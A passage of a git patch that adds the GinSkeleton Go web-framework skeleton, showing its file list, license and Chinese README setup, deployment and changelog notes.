From 6e30eb041d04d1b328fb5545e563de2722e0e463 Mon Sep 17 00:00:00 2001 From: joefalmko Date: Sat, 26 Oct 2024 21:38:05 +0800 Subject: [PATCH] add ginskeleton but change nothing --- GinSkeleton/.gitignore | 6 + GinSkeleton/LICENSE | 21 + GinSkeleton/ReadME.md | 30 ++ GinSkeleton/ReadMEBak.md | 312 ++++++++++++++ GinSkeleton/app/aop/users/destroy_after.go | 19 + GinSkeleton/app/aop/users/destroy_before.go | 22 + GinSkeleton/app/core/container/container.go | 69 +++ GinSkeleton/app/core/destroy/destroy.go | 25 ++ .../app/core/event_manage/event_manage.go | 73 ++++ GinSkeleton/app/global/consts/consts.go | 75 ++++ GinSkeleton/app/global/my_errors/my_errors.go | 70 ++++ GinSkeleton/app/global/variable/variable.go | 62 +++ .../http/controller/api/home_controller.go | 33 ++ .../controller/captcha/captcha_controller.go | 83 ++++ .../http/controller/web/upload_controller.go | 23 + .../http/controller/web/users_controller.go | 144 +++++++ .../app/http/controller/websocket/ws.go | 24 ++ .../app/http/middleware/authorization/auth.go | 165 ++++++++ GinSkeleton/app/http/middleware/cors/cors.go | 24 ++ .../http/middleware/my_jwt/custom_claims.go | 11 + .../app/http/middleware/my_jwt/my_jwt.go | 73 ++++ .../app/http/validator/api/home/news.go | 36 ++ .../common/data_type/common_data_type.go | 6 + .../api_register_validator.go | 20 + .../web_register_validator.go | 43 ++ .../common/upload_files/upload_fiels.go | 58 +++ .../validator/common/websocket/connect.go | 43 ++ .../core/data_transfer/data_transfer.go | 37 ++ .../http/validator/core/factory/factory.go | 21 + .../app/http/validator/core/interf/interf.go | 8 + .../app/http/validator/web/users/data_type.go | 10 + .../app/http/validator/web/users/destroy.go | 48 +++ .../app/http/validator/web/users/login.go | 35 ++ .../http/validator/web/users/refresh_token.go | 36 ++ .../app/http/validator/web/users/register.go | 58 +++ .../app/http/validator/web/users/show.go | 35 ++ .../app/http/validator/web/users/store.go | 37 ++ .../app/http/validator/web/users/update.go | 38 ++ GinSkeleton/app/model/base_model.go | 71 ++++ GinSkeleton/app/model/users.go | 301 +++++++++++++ GinSkeleton/app/model/users_for_mysql.txt | 301 +++++++++++++ GinSkeleton/app/model/users_for_postgres.txt | 312 ++++++++++++++ GinSkeleton/app/model/users_for_sqlserver.txt | 305 ++++++++++++++ .../app/service/sys_log_hook/zap_log_hooks.go | 27 ++ .../app/service/upload_file/upload_file.go | 58 +++ .../app/service/users/curd/users_curd.go | 31 ++ GinSkeleton/app/service/users/token/token.go | 139 ++++++ .../user_token_cache_redis.go | 97 +++++ .../on_open_success/set_client_more_params.go | 9 + GinSkeleton/app/service/websocket/ws.go | 91 ++++ GinSkeleton/app/utils/casbin_v2/casbin_v2.go | 58 +++ .../app/utils/cur_userinfo/cur_user.go | 15 + .../app/utils/data_bind/formdata_to_model.go | 77 ++++ GinSkeleton/app/utils/files/baseInfo.go | 49 +++ .../utils/gin_release/gin_release_router.go | 46 ++ GinSkeleton/app/utils/gorm_v2/client.go | 190 +++++++++ .../app/utils/gorm_v2/config_params.go | 19 + GinSkeleton/app/utils/gorm_v2/custom_log.go | 174 ++++++++ GinSkeleton/app/utils/gorm_v2/hook.go | 166 ++++++++ .../app/utils/md5_encrypt/md5_encrypt.go | 18 + .../app/utils/observer_mode/observer.go | 7 + .../app/utils/observer_mode/subject.go | 43 ++ .../rabbitmq/error_record/error_handler.go | 11 + .../utils/rabbitmq/hello_world/consumer.go | 161 +++++++ .../utils/rabbitmq/hello_world/producer.go | 87 ++++ .../rabbitmq/publish_subscribe/consumer.go | 193 +++++++++ .../rabbitmq/publish_subscribe/options.go | 62 +++ .../rabbitmq/publish_subscribe/producer.go | 108 +++++ .../app/utils/rabbitmq/routing/consumer.go | 191 +++++++++ .../app/utils/rabbitmq/routing/options.go | 62 +++ .../app/utils/rabbitmq/routing/producer.go | 107 +++++ .../app/utils/rabbitmq/topics/consumer.go | 191 +++++++++ .../app/utils/rabbitmq/topics/options.go | 62 +++ .../app/utils/rabbitmq/topics/producer.go | 107 +++++ .../app/utils/rabbitmq/work_queue/consumer.go | 167 ++++++++ .../app/utils/rabbitmq/work_queue/producer.go | 88 ++++ GinSkeleton/app/utils/redis_factory/client.go | 162 +++++++ GinSkeleton/app/utils/response/response.go | 102 +++++ .../app/utils/snow_flake/snow_flake.go | 47 +++ .../snowflake_interf/InterfaceSnowFlake.go | 5 + .../validator_transiation.go | 66 +++ .../app/utils/websocket/core/client.go | 195 +++++++++ GinSkeleton/app/utils/websocket/core/hub.go | 32 ++ .../app/utils/yml_config/yml_config.go | 214 ++++++++++ .../ymlconfig_interf/yml_conf_interf.go | 19 + .../app/utils/zap_factory/zap_factory.go | 73 ++++ GinSkeleton/bootstrap/init.go | 116 +++++ GinSkeleton/cmd/api/main.go | 13 + GinSkeleton/cmd/cli/main.go | 12 + GinSkeleton/cmd/web/main.go | 13 + GinSkeleton/command/demo/demo.go | 76 ++++ GinSkeleton/command/demo/sub_cmd.go | 23 + GinSkeleton/command/demo_simple/simple.go | 48 +++ GinSkeleton/command/root.go | 41 ++ GinSkeleton/config/config.yml | 144 +++++++ GinSkeleton/config/gorm_v2.yml | 87 ++++ GinSkeleton/database/db_demo_mysql.sql | 60 +++ GinSkeleton/database/db_demo_postgre.sql | 297 +++++++++++++ GinSkeleton/database/db_demo_sqlserver.sql | 52 +++ GinSkeleton/docs/aop.md | 102 +++++ GinSkeleton/docs/api_doc.md | 233 +++++++++++ GinSkeleton/docs/bench_cpu_memory.md | 6 + GinSkeleton/docs/captcha.md | 50 +++ GinSkeleton/docs/casbin.md | 88 ++++ GinSkeleton/docs/cobra.md | 155 +++++++ GinSkeleton/docs/concise.md | 194 +++++++++ GinSkeleton/docs/deploy_docker.md | 137 ++++++ GinSkeleton/docs/deploy_go.md | 19 + GinSkeleton/docs/deploy_linux.md | 131 ++++++ GinSkeleton/docs/deploy_mysql.md | 29 ++ GinSkeleton/docs/deploy_nginx.md | 47 +++ GinSkeleton/docs/deploy_nohup.md | 23 + GinSkeleton/docs/deploy_redis.md | 40 ++ GinSkeleton/docs/document.md | 316 ++++++++++++++ GinSkeleton/docs/elk_log.md | 296 +++++++++++++ GinSkeleton/docs/faq.md | 86 ++++ GinSkeleton/docs/formparams.md | 72 ++++ GinSkeleton/docs/global_variable.md | 79 ++++ GinSkeleton/docs/low_coupling.md | 81 ++++ GinSkeleton/docs/many_db_operate.md | 59 +++ GinSkeleton/docs/nginx.md | 208 +++++++++ GinSkeleton/docs/project_analysis_1.md | 24 ++ GinSkeleton/docs/project_analysis_2.md | 68 +++ GinSkeleton/docs/project_analysis_3.md | 99 +++++ GinSkeleton/docs/project_struct.md | 55 +++ GinSkeleton/docs/rabbitmq.md | 180 ++++++++ GinSkeleton/docs/sql_stament.md | 50 +++ GinSkeleton/docs/supervisor.md | 77 ++++ GinSkeleton/docs/validator.md | 58 +++ GinSkeleton/docs/websocket.md | 109 +++++ GinSkeleton/docs/ws_js_client.md | 79 ++++ GinSkeleton/docs/zap_log.md | 82 ++++ GinSkeleton/go.mod | 93 ++++ GinSkeleton/go.sum | 316 ++++++++++++++ GinSkeleton/makefile | 49 +++ GinSkeleton/public/favicon.ico | Bin 0 -> 4286 bytes GinSkeleton/public/readme.md | 2 + GinSkeleton/routers/api.go | 74 ++++ GinSkeleton/routers/web.go | 126 ++++++ .../app/img/huawei-cloud-server-small.png | Bin 0 -> 149512 bytes GinSkeleton/test/gormv2_test.go | 396 ++++++++++++++++++ GinSkeleton/test/http_client_test.go | 46 ++ GinSkeleton/test/rabbitmq_test.go | 254 +++++++++++ GinSkeleton/test/redis_test.go | 117 ++++++ GinSkeleton/test/snowflake_test.go | 56 +++ 145 files changed, 12892 insertions(+) create mode 100644 GinSkeleton/.gitignore create mode 100644 GinSkeleton/LICENSE create mode 100644 GinSkeleton/ReadME.md create mode 100644 GinSkeleton/ReadMEBak.md create mode 100644 GinSkeleton/app/aop/users/destroy_after.go create mode 100644 GinSkeleton/app/aop/users/destroy_before.go create mode 100644 GinSkeleton/app/core/container/container.go create mode 100644 GinSkeleton/app/core/destroy/destroy.go create mode 100644 GinSkeleton/app/core/event_manage/event_manage.go create mode 100644 GinSkeleton/app/global/consts/consts.go create mode 100644 GinSkeleton/app/global/my_errors/my_errors.go create mode 100644 GinSkeleton/app/global/variable/variable.go create mode 100644 GinSkeleton/app/http/controller/api/home_controller.go create mode 100644 GinSkeleton/app/http/controller/captcha/captcha_controller.go create mode 100644 GinSkeleton/app/http/controller/web/upload_controller.go create mode 100644 GinSkeleton/app/http/controller/web/users_controller.go create mode 100644 GinSkeleton/app/http/controller/websocket/ws.go create mode 100644 GinSkeleton/app/http/middleware/authorization/auth.go create mode 100644 GinSkeleton/app/http/middleware/cors/cors.go create mode 100644 GinSkeleton/app/http/middleware/my_jwt/custom_claims.go create mode 100644 GinSkeleton/app/http/middleware/my_jwt/my_jwt.go create mode 100644 GinSkeleton/app/http/validator/api/home/news.go create mode 100644 GinSkeleton/app/http/validator/common/data_type/common_data_type.go create mode 100644 GinSkeleton/app/http/validator/common/register_validator/api_register_validator.go create mode 100644 GinSkeleton/app/http/validator/common/register_validator/web_register_validator.go create mode 100644 GinSkeleton/app/http/validator/common/upload_files/upload_fiels.go create mode 100644 GinSkeleton/app/http/validator/common/websocket/connect.go create mode 100644 GinSkeleton/app/http/validator/core/data_transfer/data_transfer.go create mode 100644 GinSkeleton/app/http/validator/core/factory/factory.go create mode 100644 GinSkeleton/app/http/validator/core/interf/interf.go create mode 100644 GinSkeleton/app/http/validator/web/users/data_type.go create mode 100644 GinSkeleton/app/http/validator/web/users/destroy.go create mode 100644 GinSkeleton/app/http/validator/web/users/login.go create mode 100644 GinSkeleton/app/http/validator/web/users/refresh_token.go create mode 100644 GinSkeleton/app/http/validator/web/users/register.go create mode 100644 GinSkeleton/app/http/validator/web/users/show.go create mode 100644 GinSkeleton/app/http/validator/web/users/store.go create mode 100644 GinSkeleton/app/http/validator/web/users/update.go create mode 100644 GinSkeleton/app/model/base_model.go create mode 100644 GinSkeleton/app/model/users.go create mode 100644 GinSkeleton/app/model/users_for_mysql.txt create mode 100644 GinSkeleton/app/model/users_for_postgres.txt create mode 100644 GinSkeleton/app/model/users_for_sqlserver.txt create mode 100644 GinSkeleton/app/service/sys_log_hook/zap_log_hooks.go create mode 100644 GinSkeleton/app/service/upload_file/upload_file.go create mode 100644 GinSkeleton/app/service/users/curd/users_curd.go create mode 100644 GinSkeleton/app/service/users/token/token.go create mode 100644 GinSkeleton/app/service/users/token_cache_redis/user_token_cache_redis.go create mode 100644 GinSkeleton/app/service/websocket/on_open_success/set_client_more_params.go create mode 100644 GinSkeleton/app/service/websocket/ws.go create mode 100644 GinSkeleton/app/utils/casbin_v2/casbin_v2.go create mode 100644 GinSkeleton/app/utils/cur_userinfo/cur_user.go create mode 100644 GinSkeleton/app/utils/data_bind/formdata_to_model.go create mode 100644 GinSkeleton/app/utils/files/baseInfo.go create mode 100644 GinSkeleton/app/utils/gin_release/gin_release_router.go create mode 100644 GinSkeleton/app/utils/gorm_v2/client.go create mode 100644 GinSkeleton/app/utils/gorm_v2/config_params.go create mode 100644 GinSkeleton/app/utils/gorm_v2/custom_log.go create mode 100644 GinSkeleton/app/utils/gorm_v2/hook.go create mode 100644 GinSkeleton/app/utils/md5_encrypt/md5_encrypt.go create mode 100644 GinSkeleton/app/utils/observer_mode/observer.go create mode 100644 GinSkeleton/app/utils/observer_mode/subject.go create mode 100644 GinSkeleton/app/utils/rabbitmq/error_record/error_handler.go create mode 100644 GinSkeleton/app/utils/rabbitmq/hello_world/consumer.go create mode 100644 GinSkeleton/app/utils/rabbitmq/hello_world/producer.go create mode 100644 GinSkeleton/app/utils/rabbitmq/publish_subscribe/consumer.go create mode 100644 GinSkeleton/app/utils/rabbitmq/publish_subscribe/options.go create mode 100644 GinSkeleton/app/utils/rabbitmq/publish_subscribe/producer.go create mode 100644 GinSkeleton/app/utils/rabbitmq/routing/consumer.go create mode 100644 GinSkeleton/app/utils/rabbitmq/routing/options.go create mode 100644 GinSkeleton/app/utils/rabbitmq/routing/producer.go create mode 100644 GinSkeleton/app/utils/rabbitmq/topics/consumer.go create mode 100644 GinSkeleton/app/utils/rabbitmq/topics/options.go create mode 100644 GinSkeleton/app/utils/rabbitmq/topics/producer.go create mode 100644 GinSkeleton/app/utils/rabbitmq/work_queue/consumer.go create mode 100644 GinSkeleton/app/utils/rabbitmq/work_queue/producer.go create mode 100644 GinSkeleton/app/utils/redis_factory/client.go create mode 100644 GinSkeleton/app/utils/response/response.go create mode 100644 GinSkeleton/app/utils/snow_flake/snow_flake.go create mode 100644 GinSkeleton/app/utils/snow_flake/snowflake_interf/InterfaceSnowFlake.go create mode 100644 GinSkeleton/app/utils/validator_translation/validator_transiation.go create mode 100644 GinSkeleton/app/utils/websocket/core/client.go create mode 100644 GinSkeleton/app/utils/websocket/core/hub.go create mode 100644 GinSkeleton/app/utils/yml_config/yml_config.go create mode 100644 GinSkeleton/app/utils/yml_config/ymlconfig_interf/yml_conf_interf.go create mode 100644 GinSkeleton/app/utils/zap_factory/zap_factory.go create mode 100644 GinSkeleton/bootstrap/init.go create mode 100644 GinSkeleton/cmd/api/main.go create mode 100644 GinSkeleton/cmd/cli/main.go create mode 100644 GinSkeleton/cmd/web/main.go create mode 100644 GinSkeleton/command/demo/demo.go create mode 100644 GinSkeleton/command/demo/sub_cmd.go create mode 100644 GinSkeleton/command/demo_simple/simple.go create mode 100644 GinSkeleton/command/root.go create mode 100644 GinSkeleton/config/config.yml create mode 100644 GinSkeleton/config/gorm_v2.yml create mode 100644 GinSkeleton/database/db_demo_mysql.sql create mode 100644 GinSkeleton/database/db_demo_postgre.sql create mode 100644 GinSkeleton/database/db_demo_sqlserver.sql create mode 100644 GinSkeleton/docs/aop.md create mode 100644 GinSkeleton/docs/api_doc.md create mode 100644 GinSkeleton/docs/bench_cpu_memory.md create mode 100644 GinSkeleton/docs/captcha.md create mode 100644 GinSkeleton/docs/casbin.md create mode 100644 GinSkeleton/docs/cobra.md create mode 100644 GinSkeleton/docs/concise.md create mode 100644 GinSkeleton/docs/deploy_docker.md create mode 100644 GinSkeleton/docs/deploy_go.md create mode 100644 GinSkeleton/docs/deploy_linux.md create mode 100644 GinSkeleton/docs/deploy_mysql.md create mode 100644 GinSkeleton/docs/deploy_nginx.md create mode 100644 GinSkeleton/docs/deploy_nohup.md create mode 100644 GinSkeleton/docs/deploy_redis.md create mode 100644 GinSkeleton/docs/document.md create mode 100644 GinSkeleton/docs/elk_log.md create mode 100644 GinSkeleton/docs/faq.md create mode 100644 GinSkeleton/docs/formparams.md create mode 100644 GinSkeleton/docs/global_variable.md create mode 100644 GinSkeleton/docs/low_coupling.md create mode 100644 GinSkeleton/docs/many_db_operate.md create mode 100644 GinSkeleton/docs/nginx.md create mode 100644 GinSkeleton/docs/project_analysis_1.md create mode 100644 GinSkeleton/docs/project_analysis_2.md create mode 100644 GinSkeleton/docs/project_analysis_3.md create mode 100644 GinSkeleton/docs/project_struct.md create mode 100644 GinSkeleton/docs/rabbitmq.md create mode 100644 GinSkeleton/docs/sql_stament.md create mode 100644 GinSkeleton/docs/supervisor.md create mode 100644 GinSkeleton/docs/validator.md create mode 100644 GinSkeleton/docs/websocket.md create mode 100644 GinSkeleton/docs/ws_js_client.md create mode 100644 GinSkeleton/docs/zap_log.md create mode 100644 GinSkeleton/go.mod create mode 100644 GinSkeleton/go.sum create mode 100644 GinSkeleton/makefile create mode 100644 GinSkeleton/public/favicon.ico create mode 100644 GinSkeleton/public/readme.md create mode 100644 GinSkeleton/routers/api.go create mode 100644 GinSkeleton/routers/web.go create mode 100644 GinSkeleton/storage/app/img/huawei-cloud-server-small.png create mode 100644 GinSkeleton/test/gormv2_test.go create mode 100644 GinSkeleton/test/http_client_test.go create mode 100644 GinSkeleton/test/rabbitmq_test.go create mode 100644 GinSkeleton/test/redis_test.go create mode 100644 GinSkeleton/test/snowflake_test.go diff --git a/GinSkeleton/.gitignore b/GinSkeleton/.gitignore new file mode 100644 index 0000000..6ad1a09 --- /dev/null +++ b/GinSkeleton/.gitignore @@ -0,0 +1,6 @@ +/.idea/ +.idea/ +.idea +/storage/logs/* +/storage/uploaded/* +/public/storage \ No newline at end of file diff --git a/GinSkeleton/LICENSE b/GinSkeleton/LICENSE new file mode 100644 index 0000000..c7ae7a3 --- /dev/null +++ b/GinSkeleton/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2020 张奇峰 + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/GinSkeleton/ReadME.md b/GinSkeleton/ReadME.md new file mode 100644 index 0000000..41e817f --- /dev/null +++ b/GinSkeleton/ReadME.md @@ -0,0 +1,30 @@ +## 这是什么? +- 1.这是一个基于go语言gin框架的web项目骨架,专注于前后端分离的业务场景,其目的主要在于将web项目主线逻辑梳理清晰,最基础的东西封装完善,开发者更多关注属于自己的的业务即可。 +- 2.本项目骨架封装了以`tb_users`表为核心的全部功能(主要包括用户相关的接口参数验证器、注册、登录获取token、刷新token、CURD以及token鉴权等),开发者拉取本项目骨架,在此基础上就可以快速开发自己的项目。 +- 3.本项目骨架请使用 `master` 分支版本即可, 该分支是最新稳定分支 . +- 4.本项目骨架从V1.4.00开始,要求go语言版本必须 >=1.15,才能稳定地使用gorm v2读写分离方案,go1.15下载地址:https://studygolang.com/dl +- 5.该版本定位为主线版本,总体追求简洁、无界面,没有太多的业务逻辑,适合开发者自己随意扩展. + +### [GinSkeleton 新版在线文档](https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/mar1g7) +- 1.我们花费了极大的精力编写了非常完整、高质量的文档,初学者优先从如何使用学起, 成熟的开发者可以与我们一起研究 gin 内核源码,成为 gin 框架的高级开发. +- 2.学习 GinSkeleton 您只需要关注主线即可,我们没有创造太多新的语法,只要您会使用 gin 就可以迅速上手 Ginskeleton . +- 3.QQ群:129885228 + +[旧文档入口](./ReadMEBak.md) + + +### ginskeleton 路由跳转插件 +- ginskeleton 的路由是基于容器加载的,需要安装插件才能实现快速跳转. +- 安装步骤:https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/ngfzv1 + + +### [点击进入 GinSkeleton-Admin2 系统](https://www.yuque.com/xiaofensinixidaouxiang/qmanaq/qmucb4) +- admin 系统集成界面, 定位快速开发业务方向, 可以在不需要修改一行代码的情况下,快速进入业务开发模式. + + + +#### V 1.5.64 2024-08-03(最新版本) +**更新** + +- 1.`websocket` 修复断电、直接拔网线导致服务端检测的终端在线状态不准确的bug, 因为直接断电、拔网线客户端的回调事件(onClose、onError)根本无法传递出去,服务端对应的socket文件状态无法及时变化. +- 2.项目依赖包全部更新至最新版. diff --git a/GinSkeleton/ReadMEBak.md b/GinSkeleton/ReadMEBak.md new file mode 100644 index 0000000..946fb5a --- /dev/null +++ b/GinSkeleton/ReadMEBak.md @@ -0,0 +1,312 @@ +## 这是什么? +> 1.这是一个基于go语言gin框架的web项目骨架,专注于前后端分离的业务场景,其目的主要在于将web项目主线逻辑梳理清晰,最基础的东西封装完善,开发者更多关注属于自己的的业务即可。 +> 2.本项目骨架封装了以`tb_users`表为核心的全部功能(主要包括用户相关的接口参数验证器、注册、登录获取token、刷新token、CURD以及token鉴权等),开发者拉取本项目骨架,在此基础上就可以快速开发自己的项目。 +> 3.本项目骨架请使用 `master` 分支版本即可, 该分支是最新稳定分支 . +> 4.本项目骨架从V1.4.00开始,要求go语言版本必须 >=1.15,才能稳定地使用gorm v2读写分离方案,go1.15下载地址:https://studygolang.com/dl + +### 问题反馈 +> 1.提交问题请在项目顶栏的`issue`直接添加问题,基本上都是每天处理当天上报的问题。 +> 2.本项目优先关注 [Gitee Issue](https://gitee.com/daitougege/GinSkeleton/issues) 仓库的所有问题, github 太卡严重影响效率。 + +### 本项目主线逻辑图 +> ![业务主线图](https://www.ginskeleton.com/GinSkeleton.jpg) + +### 快速上手 +- 1.go语言环境配置 +```code +// 1.安装的go语言版本必须>=1.15 . + +// 2.配置go包的代理,打开你的终端(cmd黑窗口)并执行以下命令(windwos系统) + // 其他操作系统自行参见:https://goproxy.cn + go env -w GO111MODULE=on + go env -w GOPROXY=https://goproxy.cn,direct + +// 3.下载本项目依赖库 + 使用 goland(>=2019.3版本) 打开本项目,打开 goland 底部的 Terminal ,执行 go mod tidy 下载本项目依赖库 + +``` + +- 2.选择自己正在使用的数据库进行配置 +```code +// 1.Mysql 数据库用户 + // mysql数据库是默认数据库,使用相关的客户端还原即可 + 找到`database/db_demo_mysql.sql`导入数据库, + + +// 2.SqlServer 数据库用户 + 1.找到`database/db_demo_sqlserver.sql`,复制内容,在相关的客户端窗口界面一次性执行即可, + 2.在 app/model 目录内,使用 users_for_sqlserver.txt 的内容覆盖同目录的 users.go 已有内容 + 3.在 config/gorm_v2.yml 中,修改 UseDbType:sqlserver + + +// 3.PostgreSql 数据库用户 + 1.首先使用相关的客户端软件,手动创建数据 db_goskeleton,选择该数据库. + 2.找到`database/db_demo_postgre.sql`,复制内容,在相关的客户端窗口界面一次性执行即可, + 3.在 app/model 目录内,使用 users_for_postgres.txt 的内容覆盖同目录的 users.go 已有内容 + 4.在 config/gorm_v2.yml 中,修改 UseDbType:postgresql + +// 4.完成以上三者中的其中一个之后, + 在 config/gorm_v2.yml 选择您需要使用的数据库类型、配置账号、密码、端口等。 + +``` +- 3.启动项目 +```code + +// 1.启动项目 + 使用goland打开本项目,在根目录手动更新项目依赖,执行命令: go mod tidy + 双击`cmd/(web|api|cli)/main.go`,进入代码界面,找到 `main` 函数左侧,鼠标点击 `run`即可启动,此外鼠标右键`run`也可以启动. + +``` + +### 项目目录结构介绍 +>[核心结构](./docs/project_struct.md) + +### 交叉编译(windows直接编译出linux可执行文件) +```code + // goland 终端底栏打开`terminal`, 依次执行以下命令,设置编译前的参数 + + // 特别注意: 以下三个命令执行时,前后不要有空格,否则最后编译可能会报错,无法编译出最终可执行文件 + # 追加 env -w 表示将值写入环境变量,否则每次只是临时生效, + # 对于运行在linux服务器的程序后续编译就不需要重复设置编译前的参数,如果程序最终运行在windows,则编译参数 GOOS=windows + go env -w GOARCH=amd64 // cpu架构 + go env -w GOOS=linux // 程序运行的最终系统,linux、windows、darwin(苹果macos系统) + go env -w CGO_ENABLED=0 // window编译设置Cgo模块关闭,因为windows上做cgo开发太麻烦,如果引用了Cgo库库,那么请在linux环境开发、编译 + + // 编译出最终可执行文件,进入根目录(GinSkeleton所在目录,也就是 go.mod 所在的目录) + // 编译时建议追加参数:-ldflags "-w -s" ,-w 表示去除调试信息,禁止gdb调试,-s 表示去除符号表(符号表在链接时起着按符号寻址的作用,静态编译后用不到) + // 追加参数编译后的程序体积也会比原来减少25%左右. + // web|api|cli 三个目录选择其一即可,表示编译的入口目录 + go build -o demo_goskeleton -ldflags "-w -s" cmd/(web|api|cli)/main.go + +``` + +### 项目骨架主线、核心逻辑 +> 这部分主要介绍了`项目初始化流程`、`路由`、`表单参数验证器`、`控制器`、`model`、`service` 以及 `websocket` 为核心的主线逻辑. +[进入主线逻辑文档](docs/document.md) + +### 测试用例路由 +[进入Api接口测试用例文档](docs/api_doc.md) + +### 开发常用模块 +> 随着项目不断完善以下列表模块会陆续增加, 虽然数目可能看起来会比较多,但是您只需要选择自己所需要的搭配主线使用即可. +> 只要掌握主线逻辑,结合以下模块,会让整个项目的操作更加流畅、简洁. + +序号|功能模块 | 文档地址 +---|---|--- +1| 全局变量(日志、gorm、配置模块、雪花算法)| [清单一览](docs/global_variable.md) +2 | 表单参数验证器语法| [validator](docs/validator.md) +3 | 复杂表单参数提交| [复杂表单参数提交文档](docs/formparams.md) +4 | 消息队列| [rabbitmq文档](docs/rabbitmq.md) +5 | cli命令| [cobra文档](docs/cobra.md) +6 | goCurl、httpClient|[httpClient客户端](https://gitee.com/daitougege/goCurl) +7|[websocket js客户端](docs/ws_js_client.md)| [websocket服务端](./docs/websocket.md) +8|控制器aop切面编程| [Aop切面编程](docs/aop.md) +9|redis| [redis使用示例](test/redis_test.go) +10|gorm_v2 CURD 操作精华版| [ gorm+ginskeleton 增删改查精华](docs/concise.md) +11|gorm_v2操作(mysql、sqlserver、postgreSql)| [gorm v2 更多测试用例](test/gormv2_test.go) +12|多源数据库的操作| [同时连接多台服务器的mysql、sqlserver、postgresql操作](docs/many_db_operate.md) +13|gorm_v2 Scan Find函数查询结果一键树形化| [sql结果树形化反射扫描器](https://gitee.com/daitougege/sql_res_to_tree) +14|日志记录| [zap高性能日志](docs/zap_log.md) +15|ELK 项目日志顶级解决方案| [elk 7.13.3 推荐使用](https://gitee.com/daitougege/elk-docker-compose)
[elk 7.9.1 旧版本](docs/elk_log.md) +16| 验证码(captcha)以及验证码中间件| [验证码使用详情](docs/captcha.md) +17| nginx配置(https、负载均衡)|[nginx配置详情](docs/nginx.md) +18|主线解耦| [对验证器与控制器进行解耦](docs/low_coupling.md) +19|Casbin 接口访问权限管控| [Casbin使用介绍](docs/casbin.md) +20|Mysql主从同步(旨在实现读写分离)| [使用docker-compose快速搭建](https://gitee.com/daitougege/mysql-master-slave-docker-compose) + + +### 项目部署方案 +序号|部署办法 | 文档地址 +---|---|--- +1 | 开发、调试环境| [最简单的 nohup](docs/deploy_nohup.md) +2 | 生产环境之supervisor进程守护 | [稳定可靠的进程守护方案](docs/supervisor.md) +3 | 生产环境之docker部署方案 | [稳定可靠、版本回滚、扩容非常灵活的方案](docs/deploy_docker.md) + + +### 项目上线后,运维方案(基于docker) +序号|运维模块 | 文档地址 +---|---|--- +1 | linux服务器| [性能指标监控](http://gitee.com/daitougege/grafana-prometheus-nodeexpoter)
[旧版本](docs/deploy_linux.md) + +### 并发测试 +[点击查看详情](docs/bench_cpu_memory.md) + +### 性能分析报告 +> 1.开发之初,我们的目标就是追求极致的高性能,因此在项目整体功能越来越趋于完善之时,我们现将进行一次全面的性能分析评测. +> 2.通过执行相关代码, 跟踪 cpu 耗时 和 内存占用 来分析各个部分的性能,CPU耗时越短性、内存占用越低能越优秀,反之就比较垃圾. + +#### 通过CPU的耗时来分析相关代码段的性能 +序号|分析对象 | 文档地址 +---|---|--- +1| 项目骨架主线逻辑| [主线分析报告](./docs/project_analysis_1.md) +2| 操作数据库代码段| [操作数据库代码段分析报告](./docs/project_analysis_2.md) + +#### 通过内存占用来分析相关代码段的性能 +序号|分析对象 | 文档地址 +---|---|--- +1| 操作数据库代码段| [操作数据库代码段](./docs/project_analysis_3.md) + +### FAQ 常见问题汇总 +[点击查看详情](./docs/faq.md) + +## GinSkeleton-Admin 后台系统 +> 1.本系统是基于 GinSkeleton(v1.5.10) + Iview(v4.5.0) 开发而成的企业级项目后台骨架. +> 2.在线演示系统相比本地运行的版本收缩了修改、删除 数据的权限. +![预览图](https://www.ginskeleton.com/images/home_page1.png) + +### [在线演示系统: GinSkeleton-Admin](http://139.196.101.31:20202/) +### [admin 后端仓库](https://gitee.com/daitougege/gin-skeleton-admin-backend) +### [admin 前端仓库](https://gitee.com/daitougege/gin-skeleton-admin-frontend) + +#### 主线版本更新日志 + +#### V 1.5.30 2021-11-28 +* 新增 + 1.引入表单参数验证器全局自动翻译器,简化代码书写,提升开发效率. +* 更新 + 1.按照gin官方提示,当程序切换到生产模式时,对gin的路由进行二次封装、异常恢复中间件自定义重写,release模式经过并发测试可以获得5%的性能提升. + 1.1 当配置文件(config/config.yml)中的键 `AppDebug` 设置为 `false` 时,gin 路由默认启用 `release` 模式,并且不会记录接口访问日志,生产环境请使用 `nginx` 代理,也方便实现负载均衡. + 2.其他更新主要是一些细节:文档、程序注释方面. + +#### V 1.5.29 2021-11-15 +* 新增 + 1.多源数据库操作文档. + 2.在 `cli` 模式执行操作数据库命令时支持 `created_at` 和 `updated_at` 字段自动赋值. + 3.`gorm v2` 接入层 `utils` 增加 `Create` 函数的参数类型非指针时拦截检查逻辑, 避免发生 `panic` ,该函数官方没有针对数据类型做安全检查. + 4.`gorm v2` 接入层 `utils` 增加 `Save、Update` 函数的参数类型非指针时拦截检查逻辑,以便支持 `gorm` 的所有回调函数. + 5.为了完美支持第4条功能,今后开发者使用 `gorm` 函数 `Create 、Save、Update ` 时请统一传递指针类型的参数, 如果老项目直接合并 `ginskeleton` 的代码, 原来调用 `Save、Update` 函数的参数需要手动修改为指针类型. +* 更新 + 1.验证码控制器文件单词拼写错误修正. + 2.路由中的一些注释更新. + 3.所有依赖包更新至最新版,与 `gorm` 包相关的接入层(utils)日志部分也同步更新. + +#### V 1.5.28 2021-10-07 +* 更新 + 1.文档更新,增加复杂表单参数提交的处理示例文档,文档其他完善更新. + 2.解决项目在 `linux` 环境启动时,如果 `public` 目录内有从 `windows` 环境复制过来的软连接无法删除的问题. + 3.`token` 刷新路由与其他路由逻辑分离. +* 漏洞修复: + 